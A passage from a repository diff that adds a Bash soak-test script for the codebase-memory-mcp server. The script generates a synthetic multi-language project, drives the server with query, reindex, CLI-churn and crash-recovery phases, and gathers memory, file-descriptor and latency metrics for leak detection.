run_leg "$leg"
done
echo "=== soak-legs: all legs passed (${LEGS}) ==="
+935
View File
@@ -0,0 +1,935 @@
#!/usr/bin/env bash
# soak-test.sh — Endurance test for codebase-memory-mcp.
#
# Runs compressed workload cycles: queries, file mutations, reindexes, idle periods.
# Reads the randomized diagnostics path emitted by the daemon (requires
# CBM_DIAGNOSTICS=1).
# Outputs metrics to soak-results/ and exits 0 (pass) or 1 (fail).
#
# Usage:
# scripts/soak-test.sh <binary> <duration_minutes> [--skip-crash-test]
#
# Tiers:
# 10 min = quick soak (CI gate)
# 15 min = ASan soak (leak detection)
# 240 min = nightly (compressed 4h = ~5 days real usage)
set -euo pipefail
case "${1:-}" in
-h|--help)
cat <<'HELPEOF'
Usage: scripts/soak-test.sh <binary> <duration_minutes> [--skip-crash-test]
INTERNAL harness — do not call directly in a venue. The canonical entry is
scripts/soak-legs.sh, which runs the release-gating leg SEQUENCE (quick +
query-leak) with a completion-summary guard per leg; the venue-parity contract
forbids direct calls in any venue.
Arguments:
<binary> product binary to soak
<duration_minutes> positive integer, per run
--skip-crash-test skip the crash-recovery phase (query-leak leg sets this)
Environment:
CBM_SOAK_MODE default | query-leak (#581 detector: never reindex/mutate
after the initial index, so RSS growth = query-path leak)
RESULTS_DIR metrics output dir (default soak-results; soak-legs.sh owns
this per leg)
Pass/fail: RSS slope / ratio / ceiling analysis; prints
"=== soak-test: PASSED ===" or "=== soak-test: FAILED ===" and exits 0/1.
HELPEOF
exit 0
;;
esac
BINARY="${1:?soak-test: missing <binary>. Please consult --help.}"
DURATION_MIN="${2:?soak-test: missing <duration_minutes>. Please consult --help.}"
SKIP_CRASH="${3:-}"
BINARY=$(cd "$(dirname "$BINARY")" && pwd)/$(basename "$BINARY")
# Soak mode selector.
# default = original mixed workload (queries + mutations + periodic reindex
# + crash-recovery). Unchanged from before this env var existed.
# query-leak = #581 detector. After the initial index, NEVER reindex and NEVER
# mutate files, so the mimalloc page-return path (cbm_mem_collect,
# triggered by index_repository) is never invoked and cannot sweep
# a query-only leak. Phase 3 then hammers a variety of READ tools
# (search_graph / query_graph / trace_path / get_code_snippet /
# search_code) to exercise the query-only store-open + WAL + alloc
# paths the bug report implicates. The RSS slope/ratio/ceiling
# analysis below is the leak detector. The crash-recovery phase is
# skipped in this mode because it reindexes (which would mask #581).
CBM_SOAK_MODE="${CBM_SOAK_MODE:-default}"
RESULTS_DIR="${RESULTS_DIR:-soak-results}"
mkdir -p "$RESULTS_DIR"
# Isolate daemon coordination from interactive CBM sessions and give this run
# a deterministic host-side daemon log. Wine needs a Windows-form cache path
# in the child environment while this Bash harness retains the host path.
#
# On native Windows the cache CANNOT live under msys /tmp: the server's
# cache-private executable-identity check walks the cache path's ancestors
# and fails closed on C:\msys64, whose DACL grants mutation to Authenticated
# Users. Place it under the user profile and stamp a reset-first strict DACL.
soak_stamp_windows_dir() {
local dir_w me output
dir_w="$(cygpath -w "$1")"
me="$(whoami | tr -d '\r')"
if ! output=$(MSYS2_ARG_CONV_EXCL='*' icacls "$dir_w" /reset /Q 2>&1); then
echo "FAIL: soak DACL normalize failed (dir=$dir_w user=$me)" >&2
printf '%s\n' "$output" >&2
return 1
fi
if ! output=$(MSYS2_ARG_CONV_EXCL='*' icacls "$dir_w" /inheritance:r \
/grant:r "${me}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
/Q 2>&1); then
echo "FAIL: soak DACL stamp failed (dir=$dir_w user=$me)" >&2
printf '%s\n' "$output" >&2
return 1
fi
}
SOAK_WIN_ROOT=""
SOAK_NATIVE_WINDOWS=false
if [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1 &&
! command -v winepath >/dev/null 2>&1; then
SOAK_NATIVE_WINDOWS=true
# The server's cache-private hardening walks the FULL ancestor chain of
# both the executable and the cache dir and fails (or silently disables
# diagnostics) on any ancestor granting mutation to untrusted SIDs. The
# msys /tmp tree and repo checkouts both carry such ACEs, so neither can
# host the soak. The user profile is the one ancestry that is clean on
# runners and dev machines alike — the Windows guard suites already run
# their binaries from copies there for the same reason. Copy the binary
# into a stamped root under USERPROFILE and cache beside it.
SOAK_WIN_ROOT=$(mktemp -d "$(cygpath "$USERPROFILE")/cbm-soak.XXXXXX")
if ! soak_stamp_windows_dir "$SOAK_WIN_ROOT"; then
rm -rf -- "$SOAK_WIN_ROOT"
exit 1
fi
cp "$BINARY" "$SOAK_WIN_ROOT/codebase-memory-mcp.exe"
BINARY="$SOAK_WIN_ROOT/codebase-memory-mcp.exe"
SOAK_CACHE_DIR_HOST="$SOAK_WIN_ROOT/cache"
mkdir -p "$SOAK_CACHE_DIR_HOST"
SOAK_WIN_ROOT_W="$(cygpath -w "$SOAK_WIN_ROOT")"
if ! SOAK_DACL_OUTPUT=$(MSYS2_ARG_CONV_EXCL='*' icacls "${SOAK_WIN_ROOT_W}\\*" \
/reset /T /C /Q 2>&1); then
echo "FAIL: soak child DACL reset failed (dir=$SOAK_WIN_ROOT_W)" >&2
printf '%s\n' "$SOAK_DACL_OUTPUT" >&2
rm -rf -- "$SOAK_WIN_ROOT"
exit 1
fi
else
SOAK_CACHE_DIR_HOST=$(mktemp -d "${TMPDIR:-/tmp}/cbm-soak-cache.XXXXXX")
fi
SOAK_CACHE_DIR_VALUE="$SOAK_CACHE_DIR_HOST"
if [[ "$BINARY" == *.exe ]] && command -v winepath >/dev/null 2>&1; then
SOAK_CACHE_DIR_VALUE=$(winepath -w "$SOAK_CACHE_DIR_HOST")
elif [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1; then
SOAK_CACHE_DIR_VALUE=$(cygpath -w "$SOAK_CACHE_DIR_HOST")
fi
DAEMON_LOG="$SOAK_CACHE_DIR_HOST/logs/cbm-daemon.log"
DIAG_FILE=""
METRICS_CSV="$RESULTS_DIR/metrics.csv"
LATENCY_CSV="$RESULTS_DIR/latency.csv"
SUMMARY="$RESULTS_DIR/summary.txt"
echo "timestamp,uptime_s,rss_bytes,heap_committed,fd_count,query_count,query_max_us" > "$METRICS_CSV"
echo "timestamp,tool,duration_ms,exit_code" > "$LATENCY_CSV"
: > "$SUMMARY"
PASS=true
DURATION_S=$((DURATION_MIN * 60))
echo "=== soak-test: binary=$BINARY duration=${DURATION_MIN}m mode=${CBM_SOAK_MODE} ==="
# ── Helper: generate realistic test project (~200 files) ─────────
SOAK_PROJECT=$(mktemp -d)
SOAK_PROJECT_VALUE="$SOAK_PROJECT"
if [[ "$BINARY" == *.exe ]] && command -v winepath >/dev/null 2>&1; then
SOAK_PROJECT_VALUE=$(winepath -w "$SOAK_PROJECT")
SOAK_PROJECT_VALUE=${SOAK_PROJECT_VALUE//\\//}
elif [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1; then
SOAK_PROJECT_VALUE=$(cygpath -m "$SOAK_PROJECT")
fi
# Every JSON request uses one pre-escaped spelling of the path. The Bash
# harness keeps SOAK_PROJECT in its host/MSYS form for file and Git operations,
# while a native Windows child receives the drive-letter form above.
SOAK_PROJECT_JSON=$(python3 -c 'import json,sys; print(json.dumps(sys.argv[1]))' "$SOAK_PROJECT_VALUE")
SERVER_PID=""
SERVER_IN=""
SERVER_OUT=""
SOAK_CLEANED=false
soak_cleanup() {
if $SOAK_CLEANED; then
return
fi
SOAK_CLEANED=true
{ exec 3>&-; } 2>/dev/null || true
{ exec 4<&-; } 2>/dev/null || true
if [[ "${SERVER_PID:-}" =~ ^[0-9]+$ ]]; then
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
SERVER_PID=""
fi
[ -z "${SERVER_IN:-}" ] || rm -f -- "$SERVER_IN"
[ -z "${SERVER_OUT:-}" ] || rm -f -- "$SERVER_OUT"
if [ -f "$DAEMON_LOG" ]; then
cp "$DAEMON_LOG" "$RESULTS_DIR/cbm-daemon.log" 2>/dev/null || true
fi
rm -rf -- "$SOAK_PROJECT" "$SOAK_CACHE_DIR_HOST"
[ -z "${SOAK_WIN_ROOT:-}" ] || rm -rf -- "$SOAK_WIN_ROOT"
}
# MSYS filesystem FIFOs do not provide a faithful stdin stream to a native
# Windows process: the child observes a clean EOF before the writer's first
# request. Use Bash's anonymous coprocess pipes for that one platform. Keep the
# coproc syntax inside eval so macOS's system Bash 3.2 can still parse this
# script; that branch is reached only by MSYS2 Bash 5. POSIX hosts retain the
# established FIFO transport.
start_mcp_server() {
local stderr_mode="$1"
if $SOAK_NATIVE_WINDOWS; then
unset CBM_SOAK_SERVER CBM_SOAK_SERVER_PID || true
if [ "$stderr_mode" = "append" ]; then
eval 'coproc CBM_SOAK_SERVER {
export CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE"
export CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info CBM_LOG_FORMAT=text
exec "$BINARY" 2>>"$RESULTS_DIR/server-stderr.log"
}'
else
eval 'coproc CBM_SOAK_SERVER {
export CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE"
export CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info CBM_LOG_FORMAT=text
exec "$BINARY" 2>"$RESULTS_DIR/server-stderr.log"
}'
fi
SERVER_PID=$CBM_SOAK_SERVER_PID
local server_read_fd="${CBM_SOAK_SERVER[0]}"
local server_write_fd="${CBM_SOAK_SERVER[1]}"
exec 3>&"$server_write_fd"
exec 4<&"$server_read_fd"
# Only fd3/fd4 may retain the parent endpoints. Otherwise closing fd3
# during crash/shutdown would leave the original writer open and the
# native frontend would never observe EOF.
eval "exec ${server_write_fd}>&-"
eval "exec ${server_read_fd}<&-"
return
fi
if [ "$stderr_mode" = "append" ]; then
CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info \
CBM_LOG_FORMAT=text "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" \
2>>"$RESULTS_DIR/server-stderr.log" &
else
CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info \
CBM_LOG_FORMAT=text "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" \
2>"$RESULTS_DIR/server-stderr.log" &
fi
SERVER_PID=$!
# Open fds AFTER server starts (otherwise FIFO open blocks).
exec 3>"$SERVER_IN"
exec 4<"$SERVER_OUT"
}
trap soak_cleanup EXIT
trap 'exit 130' INT TERM
generate_project() {
local root="$1"
# Python package (80 files)
for i in $(seq 1 20); do
local pkg="$root/src/pkg_${i}"
mkdir -p "$pkg"
cat > "$pkg/__init__.py" << PYEOF
from .handlers import handle_${i}
from .models import Model${i}
PYEOF
cat > "$pkg/handlers.py" << PYEOF
from .models import Model${i}
from .utils import validate_${i}, transform_${i}
def handle_${i}(request):
data = Model${i}.from_request(request)
if not validate_${i}(data):
return {"error": "invalid"}
return transform_${i}(data)
def process_batch_${i}(items):
return [handle_${i}(item) for item in items]
PYEOF
cat > "$pkg/models.py" << PYEOF
class Model${i}:
def __init__(self, name, value):
self.name = name
self.value = value
@classmethod
def from_request(cls, req):
return cls(req.get("name", ""), req.get("value", 0))
def to_dict(self):
return {"name": self.name, "value": self.value}
PYEOF
cat > "$pkg/utils.py" << PYEOF
def validate_${i}(data):
return data is not None and hasattr(data, 'name')
def transform_${i}(data):
return {"result": data.name.upper(), "score": data.value * ${i}}
PYEOF
done
# Go package (40 files)
mkdir -p "$root/internal/api" "$root/internal/store" "$root/cmd"
for i in $(seq 1 20); do
cat > "$root/internal/api/handler_${i}.go" << GOEOF
package api
import "fmt"
func HandleRoute${i}(path string) (string, error) {
result := ProcessData${i}(path)
return fmt.Sprintf("route_%d: %s", ${i}, result), nil
}
func ProcessData${i}(input string) string {
return fmt.Sprintf("processed_%d_%s", ${i}, input)
}
GOEOF
cat > "$root/internal/store/repo_${i}.go" << GOEOF
package store
type Entity${i} struct {
ID int
Name string
Data map[string]interface{}
}
func FindEntity${i}(id int) (*Entity${i}, error) {
return &Entity${i}{ID: id, Name: "entity"}, nil
}
func SaveEntity${i}(e *Entity${i}) error {
return nil
}
GOEOF
done
# TypeScript (40 files)
mkdir -p "$root/frontend/src/components" "$root/frontend/src/hooks"
for i in $(seq 1 20); do
cat > "$root/frontend/src/components/Component${i}.tsx" << TSEOF
import React from 'react';
import { useData${i} } from '../hooks/useData${i}';
interface Props${i} { id: number; label: string; }
export const Component${i}: React.FC<Props${i}> = ({ id, label }) => {
const { data, loading } = useData${i}(id);
if (loading) return <div>Loading...</div>;
return <div className="comp-${i}">{label}: {JSON.stringify(data)}</div>;
};
TSEOF
cat > "$root/frontend/src/hooks/useData${i}.ts" << TSEOF
import { useState, useEffect } from 'react';
export function useData${i}(id: number) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
useEffect(() => {
fetch('/api/data/${i}/' + id)
.then(r => r.json())
.then(d => { setData(d); setLoading(false); });
}, [id]);
return { data, loading };
}
TSEOF
done
# Config files
cat > "$root/config.yaml" << 'YAMLEOF'
database:
host: localhost
port: 5432
pool_size: 10
server:
workers: 4
timeout: 30
YAMLEOF
cat > "$root/Dockerfile" << 'DEOF'
FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
CMD ["python", "-m", "src.main"]
DEOF
}
echo "Generating test project (~200 files)..."
generate_project "$SOAK_PROJECT"
# Init git repo (required for watcher)
git -C "$SOAK_PROJECT" init -q 2>/dev/null
git -C "$SOAK_PROJECT" add -A 2>/dev/null
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "init" 2>/dev/null
FILE_COUNT=$(find "$SOAK_PROJECT" -type f | wc -l | tr -d ' ')
echo "OK: $FILE_COUNT files in test project"
# ── Helper: run CLI tool call and record latency ─────────────────
# Query ID counter
QUERY_ID=1
MCP_LAST_RESPONSE=""
# Send a JSON-RPC tool call to the running server via its stdin pipe.
# Reads response from server stdout. Records latency.
json_rpc_response_ok() {
local expected_id="$1"
local response="$2"
python3 -c '
import json
import sys
try:
message = json.loads(sys.stdin.read())
result = message.get("result") if isinstance(message, dict) else None
ok = (
isinstance(message, dict)
and message.get("id") == int(sys.argv[1])
and "error" not in message
and "result" in message
and not (isinstance(result, dict) and result.get("isError") is True)
)
except (ValueError, TypeError):
ok = False
sys.exit(0 if ok else 1)
' "$expected_id" <<<"$response"
}
# Read the authoritative project key from index_repository's nested text JSON.
# This mirrors the path canonicalization actually performed by CBM instead of
# guessing from a host/MSYS spelling that can differ on macOS and Windows.
mcp_response_project() {
local response="$1"
python3 -c '
import json
import sys
try:
message = json.loads(sys.stdin.read())
result = message.get("result", {})
content = result.get("content", []) if isinstance(result, dict) else []
project = ""
for item in content:
if isinstance(item, dict) and item.get("type") == "text":
# The summary JSON may be preceded by plain-text banner items
# (update-available notice); skip anything that is not JSON.
try:
payload = json.loads(item.get("text", ""))
except ValueError:
continue
candidate = payload.get("project") if isinstance(payload, dict) else None
if isinstance(candidate, str) and candidate:
project = candidate
break
if not project:
raise ValueError("index response has no project")
print(project)
except (ValueError, TypeError, AttributeError):
sys.exit(1)
' <<<"$response"
}
mcp_initialize() {
local response=""
echo '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"capabilities":{}}}' >&3
read -r -t 10 response <&4 2>/dev/null && json_rpc_response_ok 0 "$response"
}
mcp_call() {
local tool="$1"
local args="$2"
local id=$QUERY_ID
QUERY_ID=$((QUERY_ID + 1))
local req="{\"jsonrpc\":\"2.0\",\"id\":$id,\"method\":\"tools/call\",\"params\":{\"name\":\"$tool\",\"arguments\":$args}}"
local t0
t0=$(python3 -c "import time; print(int(time.time()*1000))")
# Send request to server stdin
echo "$req" >&3
# Read and validate one response (wait up to 30s). A JSON-RPC error or
# tool-level isError is a failed operation, not a successful round-trip.
local resp=""
local exit_code=1
MCP_LAST_RESPONSE=""
if read -r -t 30 resp <&4 2>/dev/null; then
MCP_LAST_RESPONSE="$resp"
if json_rpc_response_ok "$id" "$resp"; then
exit_code=0
else
# A stale (previous, late) response desyncs every later
# round-trip: drain queued lines until the matching id shows up
# or the stream runs dry, so one slow reply costs one failed op
# instead of corrupting the whole run's verdicts.
local drain=""
while read -r -t 2 drain <&4 2>/dev/null; do
MCP_LAST_RESPONSE="$drain"
if json_rpc_response_ok "$id" "$drain"; then
exit_code=0
break
fi
done
fi
fi
local t1
t1=$(python3 -c "import time; print(int(time.time()*1000))")
local dur=$((t1 - t0))
echo "$(date +%s),$tool,$dur,$exit_code" >> "$LATENCY_CSV"
return "$exit_code"
}
# ── Helper: collect diagnostics snapshot ─────────────────────────
diagnostics_host_path() {
local emitted_path="$1"
if [[ "$emitted_path" =~ ^[A-Za-z]:[/\\] ]] && command -v winepath >/dev/null 2>&1; then
winepath -u "$emitted_path"
elif [[ "$emitted_path" =~ ^[A-Za-z]:[/\\] ]] && command -v cygpath >/dev/null 2>&1; then
cygpath -u "$emitted_path"
else
printf '%s\n' "$emitted_path"
fi
}
refresh_diagnostics_paths() {
[ -f "$DAEMON_LOG" ] || return 1
local start_line snapshot_path trajectory_path
start_line=$(grep '"event":"diagnostics.start"' "$DAEMON_LOG" 2>/dev/null | tail -n 1) || true
[ -n "$start_line" ] || return 1
# The discovery record is JSON (a control record survives CBM_LOG_LEVEL
# suppression); decode the two standard escapes temp paths can carry.
snapshot_path=$(printf '%s\n' "$start_line" | sed -n 's/.*"snapshot":"\([^"]*\)".*/\1/p' |
sed 's/\\\([\"\\/]\)/\1/g')
trajectory_path=$(printf '%s\n' "$start_line" | sed -n 's/.*"trajectory":"\([^"]*\)".*/\1/p' |
sed 's/\\\([\"\\/]\)/\1/g')
[ -n "$snapshot_path" ] && [ -n "$trajectory_path" ] || return 1
DIAG_FILE=$(diagnostics_host_path "$snapshot_path")
}
diagnostics_start_count() {
if [ -f "$DAEMON_LOG" ]; then
grep -c '"event":"diagnostics.start"' "$DAEMON_LOG" 2>/dev/null || true
else
echo 0
fi
}
daemon_stop_count() {
if [ -f "$DAEMON_LOG" ]; then
grep -c 'msg=daemon.stop' "$DAEMON_LOG" 2>/dev/null || true
else
echo 0
fi
}
wait_for_daemon_stop() {
local after_count="$1"
local attempts=300
while [ "$attempts" -gt 0 ]; do
local current_count
current_count=$(daemon_stop_count)
if [ "${current_count:-0}" -gt "$after_count" ]; then
return 0
fi
attempts=$((attempts - 1))
sleep 0.1
done
return 1
}
wait_for_diagnostics_snapshot() {
local after_count="${1:-0}"
local previous_path="${2:-}"
# 30s, not a 10s sprint: the first snapshot lands one diagnostics interval
# (5s) after start, and a cold 4-vCPU hosted runner mid-initial-index can
# push the first WRITE past 10s (observed: both Windows runner soak legs
# died right after 'server running' while the daemon's own log shows a
# perfectly healthy diagnostics.start — the VM's 18 cores never miss the
# window). Budget doctrine: the wait sits above the worst case.
local attempts=300
while [ "$attempts" -gt 0 ]; do
local current_count
current_count=$(diagnostics_start_count)
if [ "${current_count:-0}" -gt "$after_count" ] && refresh_diagnostics_paths &&
[ -f "$DIAG_FILE" ] &&
{ [ -z "$previous_path" ] || [ "$DIAG_FILE" != "$previous_path" ]; }; then
return 0
fi
attempts=$((attempts - 1))
sleep 0.1
done
return 1
}
SNAPSHOT_ATTEMPTS=0
collect_snapshot() {
SNAPSHOT_ATTEMPTS=$((SNAPSHOT_ATTEMPTS + 1))
refresh_diagnostics_paths || return 0
if [ -f "$DIAG_FILE" ]; then
cat "$DIAG_FILE" 2>/dev/null | python3 -c '
import json, sys, time
d = json.load(sys.stdin)
# Use heap_committed if available, otherwise RSS (mimalloc may report 0 for committed)
mem = d.get("heap_committed_bytes", 0)
if mem == 0: mem = d.get("rss_bytes", 0)
print("{},{},{},{},{},{},{}".format(
int(time.time()), d.get("uptime_s", 0), d.get("rss_bytes", 0), mem,
d.get("fd_count", 0), d.get("query_count", 0), d.get("query_max_us", 0)))
' 2>/dev/null >> "$METRICS_CSV"
fi
}
diagnostics_json_value() {
local key="$1"
refresh_diagnostics_paths || return 1
cat "$DIAG_FILE" 2>/dev/null | python3 -c '
import json
import sys
value = json.load(sys.stdin).get(sys.argv[1], "")
print(value)
' "$key" 2>/dev/null
}
# ── Phase 1: Start MCP server with diagnostics ──────────────────
echo "--- Phase 1: start server ---"
# Bidirectional pipes: fd3 = server stdin (write), fd4 = server stdout (read)
if ! $SOAK_NATIVE_WINDOWS; then
SERVER_IN=$(mktemp -u).in
SERVER_OUT=$(mktemp -u).out
mkfifo "$SERVER_IN" "$SERVER_OUT"
fi
start_mcp_server truncate
sleep 3
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
echo "FAIL: server did not start"
echo "--- server stderr (tail) ---"
tail -40 "$RESULTS_DIR/server-stderr.log" 2>/dev/null || echo "(no stderr captured)"
exec 3>&- 4<&-
rm -f "$SERVER_IN" "$SERVER_OUT"
exit 1
fi
echo "OK: server running (pid=$SERVER_PID)"
if ! wait_for_diagnostics_snapshot; then
echo "FAIL: daemon did not emit a usable diagnostics.start path"
echo "--- server stderr (tail) ---"
tail -40 "$RESULTS_DIR/server-stderr.log" 2>/dev/null || echo "(no stderr captured)"
exec 3>&- 4<&-
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
rm -f "$SERVER_IN" "$SERVER_OUT"
exit 1
fi
# Send and validate the initialize handshake.
if ! mcp_initialize; then
echo "FAIL: server did not complete initialize"
exit 1
fi
# ── Phase 2: Initial index ───────────────────────────────────────
echo "--- Phase 2: initial index ---"
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
if ! PROJ_NAME=$(mcp_response_project "$MCP_LAST_RESPONSE"); then
echo "FAIL: initial index response did not report its canonical project key"
exit 1
fi
sleep 6 # wait for diagnostics write
collect_snapshot
BASELINE_RSS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('rss_bytes',0))" 2>/dev/null || echo "0")
BASELINE_FDS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('fd_count',0))" 2>/dev/null || echo "0")
echo "OK: baseline RSS=${BASELINE_RSS} FDs=${BASELINE_FDS}"
# ── Phase 3: Compressed workload loop ────────────────────────────
echo "--- Phase 3: workload loop (${DURATION_MIN}m) ---"
START_TIME=$(date +%s)
END_TIME=$((START_TIME + DURATION_S))
CYCLE=0
LAST_MUTATE=0
LAST_REINDEX=0
while [ "$(date +%s)" -lt "$END_TIME" ]; do
NOW=$(date +%s)
CYCLE=$((CYCLE + 1))
if [ "$CBM_SOAK_MODE" = "query-leak" ]; then
# ── #581 query-only leak mode ────────────────────────────────
# Pure read-query hammering: no mutation, no reindex — so
# cbm_mem_collect (mimalloc page return) is NEVER triggered and
# cannot sweep a query-only leak. Hammer a VARIETY of read tools to
# exercise the store-open + WAL + alloc paths the report implicates.
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*Handle.*\"}" || PASS=false
mcp_call query_graph "{\"project\":\"$PROJ_NAME\",\"query\":\"MATCH (n) RETURN n.name LIMIT 25\"}" || PASS=false
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"handle_1\",\"direction\":\"both\"}" || PASS=false
mcp_call get_code_snippet "{\"project\":\"$PROJ_NAME\",\"qualified_name\":\"handle_1\"}" || PASS=false
mcp_call search_code "{\"project\":\"$PROJ_NAME\",\"pattern\":\"def \"}" || PASS=false
else
# ── default mode (unchanged) ─────────────────────────────────
# Queries every 2 seconds
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*handle_.*\"}" || PASS=false
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"handle_1\",\"direction\":\"both\"}" || PASS=false
# File mutation every 2 minutes
if [ $((NOW - LAST_MUTATE)) -ge 120 ]; then
echo "# mutation at cycle $CYCLE $(date)" >> "$SOAK_PROJECT/src/main.py"
git -C "$SOAK_PROJECT" add -A 2>/dev/null
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "cycle $CYCLE" 2>/dev/null || true
LAST_MUTATE=$NOW
fi
# Full reindex every 2 minutes (compressed — simulates 15min real interval)
if [ $((NOW - LAST_REINDEX)) -ge 120 ]; then
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
LAST_REINDEX=$NOW
fi
fi
# Collect diagnostics every 10 seconds (5 cycles)
if [ $((CYCLE % 5)) -eq 0 ]; then
collect_snapshot
fi
sleep 2
done
# ── Phase 4: Idle period + final snapshot ────────────────────────
echo "--- Phase 4: idle (30s) ---"
sleep 30
collect_snapshot
# Check the actual daemon on platforms where its diagnostics PID shares the
# host process namespace. Wine/native Windows use a different PID namespace,
# so reporting the thin frontend as daemon CPU would be false coverage.
DAEMON_PID=$(diagnostics_json_value pid)
IDLE_CPU=""
if [[ "$BINARY" != *.exe ]] && [[ "$DAEMON_PID" =~ ^[0-9]+$ ]]; then
IDLE_CPU=$(ps -o %cpu= -p "$DAEMON_PID" 2>/dev/null | tr -d ' ' || true)
echo "OK: idle daemon CPU=${IDLE_CPU:-unavailable}%"
else
echo "SKIP: idle daemon CPU is unavailable across the Windows PID boundary"
fi
# ── Phase 4b: one-shot CLI admission churn ───────────────────────
# Every `cli` one-shot is a complete daemon client cycle (connect → commit →
# execute → close-intent → drain) against the SAME daemon the metrics sampler
# is watching. The long-lived MCP session above never exercises that path, so
# a per-admission leak in the accept/worker-finish cycle would be invisible
# without this churn — it lands in the same RSS/FD analysis below.
echo "--- Phase 4b: CLI one-shot admission churn ---"
CHURN_CYCLES=${SOAK_CLI_CHURN_CYCLES:-40}
CHURN_FAILS=0
churn_index=0
while [ "$churn_index" -lt "$CHURN_CYCLES" ]; do
if ! CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" "$BINARY" cli list_projects '{}' \
>/dev/null 2>>"$RESULTS_DIR/cli-churn-stderr.log"; then
CHURN_FAILS=$((CHURN_FAILS + 1))
fi
churn_index=$((churn_index + 1))
done
if [ "$CHURN_FAILS" -gt 0 ]; then
echo "FAIL: $CHURN_FAILS of $CHURN_CYCLES one-shot CLI churn cycles failed"
PASS=false
else
echo "OK: $CHURN_CYCLES one-shot CLI churn cycles recycled the live daemon"
fi
collect_snapshot
# ── Phase 5: Crash recovery test ────────────────────────────────
# Skipped in query-leak mode: crash recovery re-indexes (Phase 5 calls
# index_repository), which triggers cbm_mem_collect and would mask the #581
# query-only leak the whole run is trying to surface.
if [ "$SKIP_CRASH" != "--skip-crash-test" ] && [ "$CBM_SOAK_MODE" != "query-leak" ]; then
echo "--- Phase 5: crash recovery ---"
# Hand an indexing request to the frontend, then kill it without consuming
# the response. The last-session disconnect must cancel session work and
# let the account daemon terminate before a clean restart.
DIAGNOSTICS_START_COUNT=$(diagnostics_start_count)
DAEMON_STOP_COUNT=$(daemon_stop_count)
DIAG_FILE_BEFORE_CRASH="$DIAG_FILE"
crash_id=$QUERY_ID
QUERY_ID=$((QUERY_ID + 1))
echo "{\"jsonrpc\":\"2.0\",\"id\":$crash_id,\"method\":\"tools/call\",\"params\":{\"name\":\"index_repository\",\"arguments\":{\"repo_path\":$SOAK_PROJECT_JSON}}}" >&3
sleep 0.1
kill -9 "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
SERVER_PID=""
exec 3>&- 4<&-
if ! wait_for_daemon_stop "$DAEMON_STOP_COUNT"; then
echo "FAIL: last-session crash did not stop the shared daemon"
exit 1
fi
# Restart server
start_mcp_server append
sleep 3
if kill -0 "$SERVER_PID" 2>/dev/null; then
if ! wait_for_diagnostics_snapshot "$DIAGNOSTICS_START_COUNT" "$DIAG_FILE_BEFORE_CRASH"; then
echo "FAIL: frontend restart did not start a fresh daemon diagnostics generation"
exit 1
fi
echo "OK: server restarted after kill -9"
if ! mcp_initialize; then
echo "FAIL: restarted server did not complete initialize"
PASS=false
fi
# Verify clean re-index works
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
if $PASS; then
echo "OK: clean re-index after crash recovery"
fi
else
echo "FAIL: server did not restart after kill -9"
PASS=false
fi
fi
# ── Phase 6: Shutdown + analysis ─────────────────────────────────
echo "--- Phase 6: shutdown + analysis ---"
FINAL_DAEMON_STOP_COUNT=$(daemon_stop_count)
exec 3>&- # close server stdin → EOF → clean exit
sleep 2
exec 4<&- # close stdout reader
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
SERVER_PID=""
if ! wait_for_daemon_stop "$FINAL_DAEMON_STOP_COUNT"; then
echo "FAIL: final frontend shutdown did not stop the shared daemon"
PASS=false
fi
# ── Analysis ─────────────────────────────────────────────────────
# Check 0: the analysis must have DATA. Snapshot collection silently
# tolerates transient misses, so a run where diagnostics never materialized
# used to sail through every check vacuously — the leak/FD/latency verdicts
# below are only meaningful if most sampling attempts actually landed.
SNAPSHOT_ROWS=$(($(wc -l < "$METRICS_CSV") - 1))
if [ "$SNAPSHOT_ATTEMPTS" -gt 0 ] && [ $((SNAPSHOT_ROWS * 10)) -lt $((SNAPSHOT_ATTEMPTS * 6)) ]; then
echo "FAIL: only ${SNAPSHOT_ROWS}/${SNAPSHOT_ATTEMPTS} snapshots collected — analysis would be vacuous" | tee -a "$SUMMARY"
PASS=false
fi
# Check 1: Memory leak detection via RSS trend
# This is the primary leak detector on ALL platforms (including Windows
# where LeakSanitizer is unavailable). Catches both linear leaks (slope)
# and step-function leaks (first vs last comparison).
TOTAL_SAMPLES=$(awk -F, 'NR>1 && $3>0 { n++ } END { print n+0 }' "$METRICS_CSV")
